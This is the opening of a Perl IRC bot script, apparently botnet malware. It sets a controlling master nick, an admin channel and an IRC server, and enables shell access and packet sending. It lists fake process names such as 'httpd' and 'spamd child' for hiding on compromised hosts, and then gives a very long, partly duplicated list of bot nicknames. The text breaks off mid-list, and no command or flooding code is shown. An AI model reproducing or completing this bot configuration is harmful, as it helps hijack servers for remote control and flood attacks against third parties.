#!/usr/bin/perl
#
# Master Poko Perlbot vS PiF
#
my @mast3rs = ("mb3lz666");
my @admchan=("#mb3lz");
$servidor='irc.s4l1ty.info' unless $servidor;
my $xeqt = "!d";
my $homedir = "/tmp";
my $shellaccess = 1;
my $xstats = 1;
my $pacotes = 1;
my $linas_max = 5;
my $sleep = 6;
my $portime = 4;
my @fakeps = ("/usr/local/apache/bin/httpd -DSSL",
"/usr/sbin/httpd -k start -DSSL",
"/usr/sbin/httpd",
"spamd child",
"httpd");
my @nickname = ("|mb3lz666-FranSiska||","|mb3lz666-TIto-Louis||","|mb3lz666-CaciNG|","|mb3lz666-SeNo-Aja|","|mb3lz666-BuDi|","|mb3lz666-MuLYaDI|","|mb3lz666-MuLYoNo|","|mb3lz666-MuLYaNtO|","|mb3lz666-SuGI-DoaNK|","|mb3lz666-AdI-TY|","|mb3lz666-^GURU^|","|mb3lz666-RaHaXiA|","|mb3lz666-Strik3|","|mb3lz666-Rivany|","|mb3lz666-Ivanya|","|mb3lz666-Indahyanti|","|mb3lz666-S3k3l3t0n|","|mb3lz666-OcTaViA|","|mb3lz666-BajinguK|","|mb3lz666-Recht_77|","|mb3lz666-CrawLeRz|","|mb3lz666-MeSseNGeRz|","|mb3lz666-ce_vinka|","|mb3lz666-ce-zhibond|","|mb3lz666-Amrik|","|mb3lz666-ce-gaulzz|","|mb3lz666-ce_assykz|","|mb3lz666-ce_ivkana|","|mb3lz666-ce-bispak-nih|","|mb3lz666-ce-apa_danya|","|mb3lz666-Alinawati|","|mb3lz666-Aldah|","|mb3lz666-Alikhus|",
"|mb3lz666-Aleks|","|mb3lz666-alibana|","|mb3lz666-ce-murah-loh|","|mb3lz666-ce_phone-aja|","|mb3lz666-ce-diapain_mau|","|mb3lz666-ce_diAtasOkBwkhOK|","|mb3lz666-ce_sipanan|","|mb3lz666-ce-30-anksatu|","|mb3lz666-sherrlyy|","|mb3lz666-siampudan|","|mb3lz666-co_Kaya-raya|","|mb3lz666-co_gentel-man|",
"|mb3lz666-Ando|","|mb3lz666-ce_andarist|","|mb3lz666-cwexks|","|mb3lz666-luptah|","|mb3lz666-lidawti|","|mb3lz666-Riantiwti|","|mb3lz666-Rimbunwan|","|mb3lz666-co_gkarda|","|mb3lz666-co-PDIP|","|mb3lz666-co_mantan_atlet|","|mb3lz666-co-taekwondo|","|mb3lz666-co_karateka|","|mb3lz666-co-bispak|","|mb3lz666-ce_taekwondo|",
"|mb3lz666-Augustus|","|mb3lz666-Aurelius|","|mb3lz666-Axel-ros|","|mb3lz666-vridawani|","|mb3lz666-co-22-lajang|","|mb3lz666-co-23_duda|","|mb3lz666-co_cak-c0|","|mb3lz666-Azima_rohana|","|mb3lz666-Rohaniah|","|mb3lz666-Rok-Q-miniloh|","|mb3lz666-Bad_garls|","|mb3lz666-ce_mau-itu|","|mb3lz666-ce-o818xxx|",
"|mb3lz666-co_vixion|","|mb3lz666-co_mio-club|","|mb3lz666-ce_bejad|","|mb3lz666-ce_pengen-vixion|","|mb3lz666-ce_matrezxks|","|mb3lz666-ce-frees|","|mb3lz666-co_matreksz|","|mb3lz666-ronaldinhos|","|mb3lz666-alan-smith|","|mb3lz666-davidenco|","|mb3lz666-co-br-gajian|","|mb3lz666-ce-PNS|","|mb3lz666-co_PNS|",
"|mb3lz666-co-Polisi22|","|mb3lz666-co-TNI24|","|mb3lz666-co_pol-cr-istri|","|mb3lz666-coKukawin|","|mb3lz666-ridwanss|","|mb3lz666-co_siangktars|","|mb3lz666-ce_Bertato|","|mb3lz666-ce-ber|","|mb3lz666-co_tatoan|","|mb3lz666-ahli_cignta|","|mb3lz666-christies|","|mb3lz666-ce_perum|","|mb3lz666-ce-parlu|",
"|mb3lz666-ce-simal|","|mb3lz666-ce_btxx-toba|","|mb3lz666-ce-tarutung|","|mb3lz666-ce_cari-cew|","|mb3lz666-ce-fitnes|","|mb3lz666-co_fitkgness|","|mb3lz666-pria-idaman|","|mb3lz666-wanigta31|","|mb3lz666-cwe-5-kger|","|mb3lz666-cwe2_kgul|","|mb3lz666-ce-cari_ker|","|mb3lz666-jandaAnkdua22|","|mb3lz666-jandaKaya|",
"|mb3lz666-ce_muda_cr-ker|","|mb3lz666-ce_sendirianlah|","|mb3lz666-ce_kpngn-sndri|","|mb3lz666-ce-lg-kesal|","|mb3lz666-ce_^signgle|","|mb3lz666-Bonagrdo|","|mb3lz666-Darwintegna|","|mb3lz666-Johan-Kerens|","|mb3lz666-Johan_setia|","|mb3lz666-Betti-sendri|","|mb3lz666-bernards|","|mb3lz666-co-riana|",
"|mb3lz666-co_cindy|","|mb3lz666-co_happies|","|mb3lz666-JohanLuvHap|","|mb3lz666-ce-bisa_ngamar|","|mb3lz666-ce-tajor|","|mb3lz666-ce_ayo|","|mb3lz666-vi^da|","|mb3lz666-rEvna^_^|","|mb3lz666-revina|","|mb3lz666-ce-sksd|","|mb3lz666-ce-deal|","|mb3lz666-ce-bs-phone_sx|","|mb3lz666-ce-vonny|","|mb3lz666-cweksi|",
"|mb3lz666-c_u-there|","|mb3lz666-ce-ml|","|mb3lz666-ce-sinta|","|mb3lz666-Zinta^OK^|","|mb3lz666-Sheta_mnis|","|mb3lz666-SiNtia_^|","|mb3lz666-sRi-Relawati|","|mb3lz666-Bonar_gultom|","|mb3lz666-Beny_simbolon|","|mb3lz666-Boy_HP|","|mb3lz666-Boy-Band|","|mb3lz666-Rian_FS-Fb|","|mb3lz666-ce_sk-FB|","|mb3lz666-Ce-cr-Kwn-FS|",
"|mb3lz666-ce-Cr-Kwn-FB|","|mb3lz666-Dhalia-Sinaga|","|mb3lz666-Aprina_Gerlz|","|mb3lz666-Ce_imutsz|","|mb3lz666-ce_bth-ang|","|mb3lz666-ce-buuh_itu|","|mb3lz666-ce-Mau-uang|","|mb3lz666-ce-Mau-SK|","|mb3lz666-ce_huGos|","|mb3lz666-ce_cafes|","|mb3lz666-ce_cubs|","|mb3lz666-ce_dgemsan|","|mb3lz666-ce-tgh_ml|","|mb3lz666-Boy-ugos|",
"|mb3lz666-fresco_man|","|mb3lz666-FB-FS-yuk|","|mb3lz666-Bela-Caemsz|","|mb3lz666-Bel_ce|","|mb3lz666-Bek-Kang|","|mb3lz666-belA-shakpir|","|mb3lz666-belA-Lang|","|mb3lz666-Bolangs^|","|mb3lz666-PtualangGirl|","|mb3lz666-ce_gunung|","|mb3lz666-ce_Mapala|","|mb3lz666-ce_Repala|","|mb3lz666-Ce-Katliksz|","|mb3lz666-ce_Pro-tes_tan|",
"|mb3lz666-ce_nya-Rkandy|","|mb3lz666-Ce-nkya_zia|","|mb3lz666-Fauziah_imuts|","|mb3lz666-Fauzi_Badawi|","|mb3lz666-Indo_neskia|","|mb3lz666-Indah_manja|","|mb3lz666-Indah_skali|","|mb3lz666-Inda_simal|","|mb3lz666-Inah_Toba|","|mb3lz666-Inda_PakPak|","|mb3lz666-Boy_sdklng|","|mb3lz666-Rando_simarata|","|mb3lz666-Roma_lina|","|mb3lz666-Roma_RoaNa|","|mb3lz666-Roma_tuJabu|",
"|mb3lz666-Roma_ktson|","|mb3lz666-RohkaMaHo|","|mb3lz666-Robin_pardkede|","|mb3lz666-Ronal_pandiangkan|","|mb3lz666-Rebekkka_tarkigan|","|mb3lz666-Re2-Mutz|","|mb3lz666-Re2_maniz|","|mb3lz666-Re2caems|","|mb3lz666-Re2_sihotang|","|mb3lz666-Re2_bakkara|","|mb3lz666-Re2_do_mi|","|mb3lz666-Pardosha|","|mb3lz666-VarDscha|",
"|mb3lz666-Cryliton|","|mb3lz666-Carli_simanjoang|","|mb3lz666-ce-mutzzz|","|mb3lz666-ce_mtzz^ah|","|mb3lz666-PainKa|","|mb3lz666-siJambul|","|mb3lz666-Gernimooo|","|mb3lz666-ryand_|","|mb3lz666-ery_ssan|","|mb3lz666-Andara_early|","|mb3lz666-Nindi_elis|","|mb3lz666-lee_ana|","|mb3lz666-lee_ani|","|mb3lz666-lea_na|","|mb3lz666-ce_gokl_abs|","|mb3lz666-ce-mataduit|",
"|mb3lz666-ce_bispak-nih|","|mb3lz666-ce-081846732|","|mb3lz666-ce-jogja|","|mb3lz666-ce-marihat|","|mb3lz666-ce-kuliahanSTT|","|mb3lz666-ce-ajalah|","|mb3lz666-ce_jaom|","|mb3lz666-ce-jelok|","|mb3lz666-happyku|","|mb3lz666-co_perjaka_tengteng|","|mb3lz666-pengemis_cinta|","|mb3lz666-cinta_matamu|","|mb3lz666-cium_akulah|",
"|mb3lz666-maria_aaa|","|mb3lz666-ce_Zhindha|","|mb3lz666-ce__Vhita|","|mb3lz666-ce_Vintha|","|mb3lz666-ahli-nujum|","|mb3lz666-fifitsss|","|mb3lz666-fafiiiii|","|mb3lz666-kakek_buyud|","|mb3lz666-clinKXZ|","|mb3lz666-Verdaves|","|mb3lz666-vAldeZz|","|mb3lz666-Darwin_boy|","|mb3lz666-boy_Darwin|","|mb3lz666-pak_aldez|",
"|mb3lz666-cinta-mulia|","|mb3lz666-yan|","|mb3lz666-BikeI|","|mb3lz666-OudoW|","|mb3lz666-cinta-ku|","|mb3lz666-ahhh_tak|","|mb3lz666-ce_betul|","|mb3lz666-ce-baik-loh|","|mb3lz666-GabruZZ|","|mb3lz666-cempStr|","|mb3lz666-ceXA-Mdn|","|mb3lz666-mamaaaaaa|","|mb3lz666-starOne|","|mb3lz666-Flash-Com|","|mb3lz666-Johan_ES|","|mb3lz666-malaka|","|mb3lz666-TrinoO|",
"|mb3lz666-MUNGA_BUNGA|","|mb3lz666-bunga_citra|","|mb3lz666-SnifferS|","|mb3lz666-Sniffit|","|mb3lz666-sniffot|","|mb3lz666-ahh-begulah|","|mb3lz666-Miduks|","|mb3lz666-malaikat_berjilbab|","|mb3lz666-papa_melky|","|mb3lz666-simalingKu|","|mb3lz666-AkuYA|","|mb3lz666-lah_mananya|","|mb3lz666-sayang_u|","|mb3lz666-cita-U|","|mb3lz666-co_cas-sejati|",
"|mb3lz666-nindyalala|","|mb3lz666-chintialala|","|mb3lz666-krisnalala|","|mb3lz666-verawati-la|","|mb3lz666-sianktarlahhh|","|mb3lz666-flashcomlah|","|mb3lz666-johanglahh|","|mb3lz666-siapgalahh|","|mb3lz666-akulah|","|mb3lz666-kogok_mabok|","|mb3lz666-kodok_jeleks|","|mb3lz666-kodok-caem|","|mb3lz666-ce-cacem|","|mb3lz666-ce_tryy|",
"|mb3lz666-bispak_ya|","|mb3lz666-co_cr_tantemu|","|mb3lz666-appara|","|mb3lz666-marialala|","|mb3lz666-co_gantenkksss|","|mb3lz666-co_kerensssss|","|mb3lz666-teh-dgina|","|mb3lz666-teh_ida|","|mb3lz666-saroenkz|","|mb3lz666-sly_moetz|","|mb3lz666-dodoetzc|",
"|mb3lz666-Zoldak|","|mb3lz666-Zucconi|","|mb3lz666-Zurn|","|mb3lz666-Zwiers|","|mb3lz666-Adams|","|mb3lz666-Addison|","|mb3lz666-Adelkstgein|","|mb3lz666-Adgibe|","|mb3lz666-Adorgno|","|mb3lz666-Ahlegrs|","|mb3lz666-Algavi|","|mb3lz666-Alcogrn|","|mb3lz666-Algda|",
"|mb3lz666-Aleks|","|mb3lz666-Allison|","|mb3lz666-Alongi|","|mb3lz666-Altavilla|","|mb3lz666-Altenberger|","|mb3lz666-Altenhgokfen|","|mb3lz666-Amaral|","|mb3lz666-Amatangelo|","|mb3lz666-Ameer|","|mb3lz666-Amsden|","|mb3lz666-Anand|","|mb3lz666-Andel|",
"|mb3lz666-Ando|","|mb3lz666-Andrelus|","|mb3lz666-Andron|","|mb3lz666-Anfinrud|","|mb3lz666-ce_cantieq|","|mb3lz666-ce_gua|","|mb3lz666-Angtkos|","|mb3lz666-Argbia|","|mb3lz666-Ardugini|","|mb3lz666-Arellgano|","|mb3lz666-Aristotle|","|mb3lz666-Arjas|","|mb3lz666-Arky|","|mb3lz666-Atkins|",
"|mb3lz666-Augustus|","|mb3lz666-Aurelius|","|mb3lz666-Bailar|","|mb3lz666-Bakanowsky|","|mb3lz666-Baleja|","|mb3lz666-Ballatori|","|mb3lz666-Ballew|","|mb3lz666-Baltz|","|mb3lz666-Banta|","|mb3lz666-Barabesi|","|mb3lz666-Barajas|","|mb3lz666-Baranczak|","|mb3lz666-Baranowska|","|mb3lz666-Barberi|","|mb3lz666-Barbetti|",
"|mb3lz666-Barneson|","|mb3lz666-Barnett|","|mb3lz666-Barriola|","|mb3lz666-Barry|","|mb3lz666-Bartholomew|","|mb3lz666-Bartolome|","|mb3lz666-Bartoo|","|mb3lz666-Basavappa|","|mb3lz666-Bashevis|","|mb3lz666-Batchelder|","|mb3lz666-Baumiller|","|mb3lz666-Bayles|","|mb3lz666-Bayo|",
"|mb3lz666-Beacon|","|mb3lz666-Beal|","|mb3lz666-Bean|","|mb3lz666-Beckman|","|mb3lz666-Beder|","|mb3lz666-Bedford|","|mb3lz666-Behenna|","|mb3lz666-Belanger|","|mb3lz666-Belaoussof|","|mb3lz666-Belfer|","|mb3lz666-Belin-Collart|","|mb3lz666-Bellavance|","|mb3lz666-Bellhouse|",
"|mb3lz666-Bellini|","|mb3lz666-Belloc|","|mb3lz666-Benedict-Dye|","|mb3lz666-Bergson|","|mb3lz666-Berke-Jenkins|","|mb3lz666-Bernardo|","|mb3lz666-Bernassola|","|mb3lz666-Bernston|","|mb3lz666-Berrizbeitia|","|mb3lz666-Betti|","|mb3lz666-Beynart|","|mb3lz666-Biagioli|",
"|mb3lz666-Bickel|","|mb3lz666-Binion|","|mb3lz666-Bir|","|mb3lz666-Bisema|","|mb3lz666-Bisho|","|mb3lz666-Blackbourn|","|mb3lz666-Blackwell|","|mb3lz666-Blagg|","|mb3lz666-Blakemore|","|mb3lz666-Blanke|","|mb3lz666-Bliss|","|mb3lz666-Blizard|","|mb3lz666-Bloch|","|mb3lz666-Bloembergen|",
"|mb3lz666-Bloemhof|","|mb3lz666-Bloxham|","|mb3lz666-Blyth|","|mb3lz666-Bolger|","|mb3lz666-Bolick|","|mb3lz666-Bollinger|","|mb3lz666-Bologna|","|mb3lz666-Boner|","|mb3lz666-Bonham|","|mb3lz666-Boniface|","|mb3lz666-Bontempo|","|mb3lz666-Book|","|mb3lz666-Bookbinder|","|mb3lz666-Boone|",
"|mb3lz666-Boorstin|","|mb3lz666-Borack|","|mb3lz666-Borden|","|mb3lz666-Bossi|","|mb3lz666-Bothman|","|mb3lz666-Botosh|","|mb3lz666-Boudin|","|mb3lz666-Boudrot|","|mb3lz666-Bourneuf|","|mb3lz666-Bowers|","|mb3lz666-Boxer|","|mb3lz666-Boyajian|","|mb3lz666-Boyes|","|mb3lz666-Boyland|",
"|mb3lz666-Boym|","|mb3lz666-Boyne|","|mb3lz666-Bracalente|","|mb3lz666-Bradac|","|mb3lz666-Bradach|","|mb3lz666-Brecht|","|mb3lz666-Breed|","|mb3lz666-Brenan|","|mb3lz666-Brennan|","|mb3lz666-Brewer|","|mb3lz666-Brewer|","|mb3lz666-Bridgeman|","|mb3lz666-Bridges|","|mb3lz666-Brinton|",
"|mb3lz666-Britz|","|mb3lz666-Broca|","|mb3lz666-Brook|","|mb3lz666-Brzycki|","|mb3lz666-Buchan|","|mb3lz666-Budding|","|mb3lz666-Bullard|","|mb3lz666-Bunton|","|mb3lz666-Burden|","|mb3lz666-Burdzy|","|mb3lz666-Burke|","|mb3lz666-Burridge|","|mb3lz666-Busetta|","|mb3lz666-Byatt|","|mb3lz666-Byerly|",
"|mb3lz666-Byrd|","|mb3lz666-Cage|","|mb3lz666-Calnan|","|mb3lz666-Cammelli|","|mb3lz666-Cammilleri|","|mb3lz666-Canley|","|mb3lz666-Capanni|","|mb3lz666-Caperton|","|mb3lz666-Capocaccia|","|mb3lz666-Capodilupo|","|mb3lz666-Cappuccio|","|mb3lz666-Capursi|","|mb3lz666-Caratozzolo|",
"|mb3lz666-Carayannopoulos|","|mb3lz666-Carlin|","|mb3lz666-Carlos|","|mb3lz666-Carlyle|","|mb3lz666-Carmichael|","|mb3lz666-Caroti|","|mb3lz666-Carper|","|mb3lz666-Cartmill|","|mb3lz666-Cascio|","|mb3lz666-Case|","|mb3lz666-Caspar|","|mb3lz666-Castelda|","|mb3lz666-Cavanagh|",
"|mb3lz666-Cavell|","|mb3lz666-Ceniceros|","|mb3lz666-Cerioli|","|mb3lz666-Chapman|","|mb3lz666-Charles|","|mb3lz666-Cheang|","|mb3lz666-Cherry|","|mb3lz666-Chervinsky|","|mb3lz666-Chiassino|","|mb3lz666-Chien|","|mb3lz666-Childress|","|mb3lz666-Childs|","|mb3lz666-Chinipardaz|",
"|mb3lz666-Chinman|","|mb3lz666-Christenson|","|mb3lz666-Christian|","|mb3lz666-Christiano|","|mb3lz666-Christie|","|mb3lz666-Christopher|","|mb3lz666-Chu|","|mb3lz666-Chupasko|","|mb3lz666-Church|","|mb3lz666-Ciampaglia|","|mb3lz666-Cicero|","|mb3lz666-Cifarelli|",
"|mb3lz666-Claffey|","|mb3lz666-Clancy|","|mb3lz666-Clark|","|mb3lz666-Clement|","|mb3lz666-Clifton|","|mb3lz666-Clow|","|mb3lz666-Coblenz|","|mb3lz666-Coito|","|mb3lz666-Coldren|","|mb3lz666-Colella|","|mb3lz666-Collard|","|mb3lz666-Collis|","|mb3lz666-Compton|","|mb3lz666-Compton|",
"|mb3lz666-Comstock|","|mb3lz666-Concino|","|mb3lz666-Condodina|","|mb3lz666-Connors|","|mb3lz666-Corey|","|mb3lz666-Cornish|","|mb3lz666-Cosmides|","|mb3lz666-Counter|","|mb3lz666-Coutaux|","|mb3lz666-Crawford|","|mb3lz666-Crocker|","|mb3lz666-Croshaw|","|mb3lz666-Croxen|",
"|mb3lz666-Croxton|","|mb3lz666-Cui|","|mb3lz666-Currier|","|mb3lz666-Cutler|","|mb3lz666-Cvek|","|mb3lz666-Cyders|","|mb3lz666-daSilva|","|mb3lz666-Daldalian|","|mb3lz666-Daly|","|mb3lz666-D'Ambra|","|mb3lz666-Danieli|","|mb3lz666-Dante|","|mb3lz666-Dapice|","|mb3lz666-D'arcangelo|","|mb3lz666-Das|",
"|mb3lz666-Dasgupta|","|mb3lz666-Daskalu|","|mb3lz666-David|","|mb3lz666-Dawkins|","|mb3lz666-DeGennaro|","|mb3lz666-DeLaPena|","|mb3lz666-del'Enclos|","|mb3lz666-deRousse|","|mb3lz666-Debroff|","|mb3lz666-Dees|","|mb3lz666-Defeciani|","|mb3lz666-Delattre|","|mb3lz666-Deleon-Rendon|",
"|mb3lz666-Delger|","|mb3lz666-Dell'acqua|","|mb3lz666-Deming|","|mb3lz666-Dempster|","|mb3lz666-Demusz|","|mb3lz666-Denault|","|mb3lz666-Denham|","|mb3lz666-Denison|","|mb3lz666-Desombre|","|mb3lz666-Deutsch|","|mb3lz666-D'fini|","|mb3lz666-Dicks|","|mb3lz666-Diefenbach|","|mb3lz666-Difabio|",
"|mb3lz666-Difronzo|","|mb3lz666-Dilworth|","|mb3lz666-Dionysius|","|mb3lz666-Dirksen|","|mb3lz666-Dockery|","|mb3lz666-Doherty|","|mb3lz666-Donahue|","|mb3lz666-Donner|","|mb3lz666-Doonan|","|mb3lz666-Dore|","|mb3lz666-Dorf|","|mb3lz666-Dosi|","|mb3lz666-Doty|","|mb3lz666-Doug|","|mb3lz666-Dowsland|",
"|mb3lz666-Drinker|","|mb3lz666-D'souza|","|mb3lz666-Duffin|","|mb3lz666-Durrett|","|mb3lz666-Dussault|","|mb3lz666-Dwyer|","|mb3lz666-Eardley|","|mb3lz666-Ebeling|","|mb3lz666-Eckel|","|mb3lz666-Edley|","|mb3lz666-Edner|","|mb3lz666-Edward|","|mb3lz666-Eickenhorst|","|mb3lz666-Eliasson|",
"|mb3lz666-Elmendorf|","|mb3lz666-Elmerick|","|mb3lz666-Elvis|","|mb3lz666-Encinas|","|mb3lz666-Enyeart|","|mb3lz666-Eppling|","|mb3lz666-Erbach|","|mb3lz666-Erdman|","|mb3lz666-Erdos|","|mb3lz666-Erez|","|mb3lz666-Espinoza|","|mb3lz666-Estes|","|mb3lz666-Etter|","|mb3lz666-Euripides|",
"|mb3lz666-Everett|","|mb3lz666-Fabbris|","|mb3lz666-Fagan|","|mb3lz666-Faioes|","|mb3lz666-Falco-Acosta|","|mb3lz666-Falorsi|","|mb3lz666-Faris|","|mb3lz666-Farone|","|mb3lz666-Farren|","|mb3lz666-Fasso'|","|mb3lz666-Fates|","|mb3lz666-Feigenbaum|","|mb3lz666-Fejzo|","|mb3lz666-Feldman|",
"|mb3lz666-Fernald|","|mb3lz666-Fernandes|","|mb3lz666-Ferrante|","|mb3lz666-Ferriell|","|mb3lz666-Feuer|","|mb3lz666-Fido|","|mb3lz666-Field|","|mb3lz666-Fink|","|mb3lz666-Finkelstein|","|mb3lz666-Finnegan|","|mb3lz666-Fiorina|","|mb3lz666-Fisk|","|mb3lz666-Fitzmaurice|","|mb3lz666-Flier|",
"|mb3lz666-Flores|","|mb3lz666-Folks|","|mb3lz666-Forester|","|mb3lz666-Fortes|","|mb3lz666-Fortier|","|mb3lz666-Fossey|","|mb3lz666-Fossi|","|mb3lz666-Francisco|","|mb3lz666-Franklin-Kenea|","|mb3lz666-Franz|","|mb3lz666-Frazier-Davis|","|mb3lz666-Freid|","|mb3lz666-Freundlich|",
"|mb3lz666-Fried|","|mb3lz666-Friedland|","|mb3lz666-Frisken|","|mb3lz666-Frowiss|","|mb3lz666-Fryberger|","|mb3lz666-Frye|","|mb3lz666-Fujii-Abe|","|mb3lz666-Fuller|","|mb3lz666-Furth|","|mb3lz666-Fusaro|","|mb3lz666-Gabrielli|","|mb3lz666-Gaggiotti|","|mb3lz666-Galeotti|","|mb3lz666-Galwey|",
"|mb3lz666-Gambini|","|mb3lz666-Garfield|","|mb3lz666-Garman|","|mb3lz666-Garonna|","|mb3lz666-Geller|","|mb3lz666-Gemberling|","|mb3lz666-Georgi|","|mb3lz666-Gerrett|","|mb3lz666-Ghorai|","|mb3lz666-Gibbens|","|mb3lz666-Gibson|","|mb3lz666-Gilbert|","|mb3lz666-Gili|","|mb3lz666-Gill|","|mb3lz666-Gillispie|",
"|mb3lz666-Gist|","|mb3lz666-Gleason|","|mb3lz666-Glegg|","|mb3lz666-Glendon|","|mb3lz666-Goldfarb|","|mb3lz666-Goncalves|","|mb3lz666-Good|","|mb3lz666-Goodearl|","|mb3lz666-Goody|","|mb3lz666-Gozzi|","|mb3lz666-Gravell|","|mb3lz666-Greenberg|","|mb3lz666-Greenfeld|","|mb3lz666-Griffiths|",
"|mb3lz666-Grigoletto|","|mb3lz666-Grummell|","|mb3lz666-Gruner|","|mb3lz666-Gruppe|","|mb3lz666-Guenthart|","|mb3lz666-Gunn|","|mb3lz666-Guo|","|mb3lz666-Ha|","|mb3lz666-Haar|","|mb3lz666-Hackman|","|mb3lz666-Hackshaw|","|mb3lz666-Haley|","|mb3lz666-Halkias|","|mb3lz666-Hallowell|","|mb3lz666-Halpert|",
"|mb3lz666-Hambarzumjan|","|mb3lz666-Hamer|","|mb3lz666-Hammerness|","|mb3lz666-Hand|","|mb3lz666-Hanssen|","|mb3lz666-Harding|","|mb3lz666-Hargraves|","|mb3lz666-Harlow|","|mb3lz666-Harrigan|","|mb3lz666-Hartman|","|mb3lz666-Hartmann|","|mb3lz666-Hartnett|","|mb3lz666-Harwell|",
"|mb3lz666-Haviaras|","|mb3lz666-Hawkes|","|mb3lz666-Hayes|","|mb3lz666-Haynes|","|mb3lz666-Hazlewood|","|mb3lz666-Heermans|","|mb3lz666-Heft|","|mb3lz666-Heiland|","|mb3lz666-Hellman|","|mb3lz666-Hellmiss|","|mb3lz666-Helprin|","|mb3lz666-Hemphill|","|mb3lz666-Henery|","|mb3lz666-Henrichs|",
"|mb3lz666-Hernandez|","|mb3lz666-Herrera|","|mb3lz666-Hester|","|mb3lz666-Heubert|","|mb3lz666-Heyeck|","|mb3lz666-Himmelfarb|","|mb3lz666-Hind|","|mb3lz666-Hirst|","|mb3lz666-Hitchcock|","|mb3lz666-Hoang|","|mb3lz666-Hock|","|mb3lz666-Hoffer|","|mb3lz666-Hoffman|","|mb3lz666-Hokanson|","|mb3lz666-Hokoda|",
"|mb3lz666-Holmes|","|mb3lz666-Holoien|","|mb3lz666-Holter|","|mb3lz666-Holway|","|mb3lz666-Holzman|","|mb3lz666-Hooker|","|mb3lz666-Hopkins|","|mb3lz666-Horsley|","|mb3lz666-Hoshida|","|mb3lz666-Hostage|","|mb3lz666-Hottle|","|mb3lz666-Howard|","|mb3lz666-Hoy|","|mb3lz666-Huey|","|mb3lz666-Huidekoper|",
"|mb3lz666-Hungerford|","|mb3lz666-Huntington|","|mb3lz666-Hupp|","|mb3lz666-Hurtubise|","|mb3lz666-Hutchings|","|mb3lz666-Hyde|","|mb3lz666-Iaquinta|","|mb3lz666-Ichikawa|","|mb3lz666-Igarashi|","|mb3lz666-Inamura|","|mb3lz666-Inniss|","|mb3lz666-Isaac|","|mb3lz666-Isaievych|","|mb3lz666-Isbill|",
"|mb3lz666-Isserman|","|mb3lz666-Iyer|","|mb3lz666-Jacenko|","|mb3lz666-Jackson|","|mb3lz666-Jagers|","|mb3lz666-Jagger|","|mb3lz666-Jagoe|","|mb3lz666-Jain|","|mb3lz666-Jamil|","|mb3lz666-Janjigian|","|mb3lz666-Jarnagin|","|mb3lz666-Jarrell|","|mb3lz666-Jay|","|mb3lz666-Jeffers|","|mb3lz666-Jellis|",
"|mb3lz666-Jenkins|","|mb3lz666-Jespersen|","|mb3lz666-Jewett|","|mb3lz666-Johannesson|","|mb3lz666-Johannsen|","|mb3lz666-Johns|","|mb3lz666-Jolly|","|mb3lz666-Jorgensen|","|mb3lz666-Jucks|","|mb3lz666-Juliano|","|mb3lz666-Julious|","|mb3lz666-Kabbash|","|mb3lz666-Kaboolian|","|mb3lz666-Kafadar|",
"|mb3lz666-Kalbfleisch|","|mb3lz666-Kaligian|","|mb3lz666-Kalil|","|mb3lz666-Kalinowski|","|mb3lz666-Kalman|","|mb3lz666-Kamel|","|mb3lz666-Kangis|","|mb3lz666-Karpouzes|","|mb3lz666-Kassower|","|mb3lz666-Kasten|","|mb3lz666-Kawachi|","|mb3lz666-Kee|","|mb3lz666-Keenan|","|mb3lz666-Keepper|",
"|mb3lz666-Keith|","|mb3lz666-Kelker|","|mb3lz666-Kelsey|","|mb3lz666-Kempton|","|mb3lz666-Kemsley|","|mb3lz666-Kendall|","|mb3lz666-Kerry|","|mb3lz666-Keul|","|mb3lz666-Khong|","|mb3lz666-Kimmel|","|mb3lz666-Kimmett|","|mb3lz666-Kimura|","|mb3lz666-Kindall|","|mb3lz666-Kinsley|","|mb3lz666-Kippenberger|",
"|mb3lz666-Kirscht|","|mb3lz666-Kittridge|","|mb3lz666-Kleckner|","|mb3lz666-Kleiman|","|mb3lz666-Kleinfelder|","|mb3lz666-Klemperer|","|mb3lz666-Kling|","|mb3lz666-Klinkenborg|","|mb3lz666-Klint|","|mb3lz666-Knuff|","|mb3lz666-Kobrick|","|mb3lz666-Koch|","|mb3lz666-Kohn|","|mb3lz666-Koivumaki|",
"|mb3lz666-Kommer|","|mb3lz666-Koniaris|","|mb3lz666-Konrad|","|mb3lz666-Kool|","|mb3lz666-Korzybski|","|mb3lz666-Kotter|","|mb3lz666-Kovaks|","|mb3lz666-Kraemer|","|mb3lz666-Krailo|","|mb3lz666-Krasney|","|mb3lz666-Kraus|","|mb3lz666-Kroemer|","|mb3lz666-Krysiak|","|mb3lz666-Kuenzli|","|mb3lz666-Kumar|",
"|mb3lz666-Kusman|","|mb3lz666-Kuwabara|","|mb3lz666-La|","|mb3lz666-Labunka|","|mb3lz666-Lafler|","|mb3lz666-Laing|","|mb3lz666-Lallemant|","|mb3lz666-Landes|","|mb3lz666-Lankes|","|mb3lz666-Lantieri|","|mb3lz666-Lanzit|","|mb3lz666-Laserna|","|mb3lz666-Lashley|","|mb3lz666-Lawless|","|mb3lz666-Lecar|",
"|mb3lz666-Lecce|","|mb3lz666-Leclercq|","|mb3lz666-Leite|","|mb3lz666-Lenard|","|mb3lz666-Sofia|","|mb3lz666-Lesser|","|mb3lz666-Lessi|","|mb3lz666-Liakos|","|mb3lz666-Lidano|","|mb3lz666-Liem|","|mb3lz666-Light|","|mb3lz666-Lightfoot|","|mb3lz666-Lim|","|mb3lz666-Linares|","|mb3lz666-Linda|","|mb3lz666-Linder|",
"|mb3lz666-Line|","|mb3lz666-Linehan|","|mb3lz666-Linzee|","|mb3lz666-Lippmann|","|mb3lz666-Lipponen|","|mb3lz666-Little|","|mb3lz666-Litvak|","|mb3lz666-Livernash|","|mb3lz666-Livi|","|mb3lz666-Livolsi|","|mb3lz666-Lizardo|","|mb3lz666-Locatelli|","|mb3lz666-Longworth|","|mb3lz666-Loss|","|mb3lz666-Loveman|",
"|mb3lz666-Lowenstein|","|mb3lz666-Loza|","|mb3lz666-Lubin|","|mb3lz666-Lucas|","|mb3lz666-Luciano|","|mb3lz666-Luczkow|","|mb3lz666-Luecke|","|mb3lz666-Lunetta|","|mb3lz666-Luoma|","|mb3lz666-Lussier|","|mb3lz666-Lutcavage|","|mb3lz666-Luzader|","|mb3lz666-Ma|","|mb3lz666-Maccormac|","|mb3lz666-Macdonald|",
"|mb3lz666-Maceachern|","|mb3lz666-Macintyre|","|mb3lz666-Mackenney|","|mb3lz666-MacMillan|","|mb3lz666-Macy|","|mb3lz666-Madigan|","|mb3lz666-Maggio|","|mb3lz666-Mahony|","|mb3lz666-Maier|","|mb3lz666-Maine-Hershey|","|mb3lz666-Maisano|","|mb3lz666-Malatesta|","|mb3lz666-Maller|",
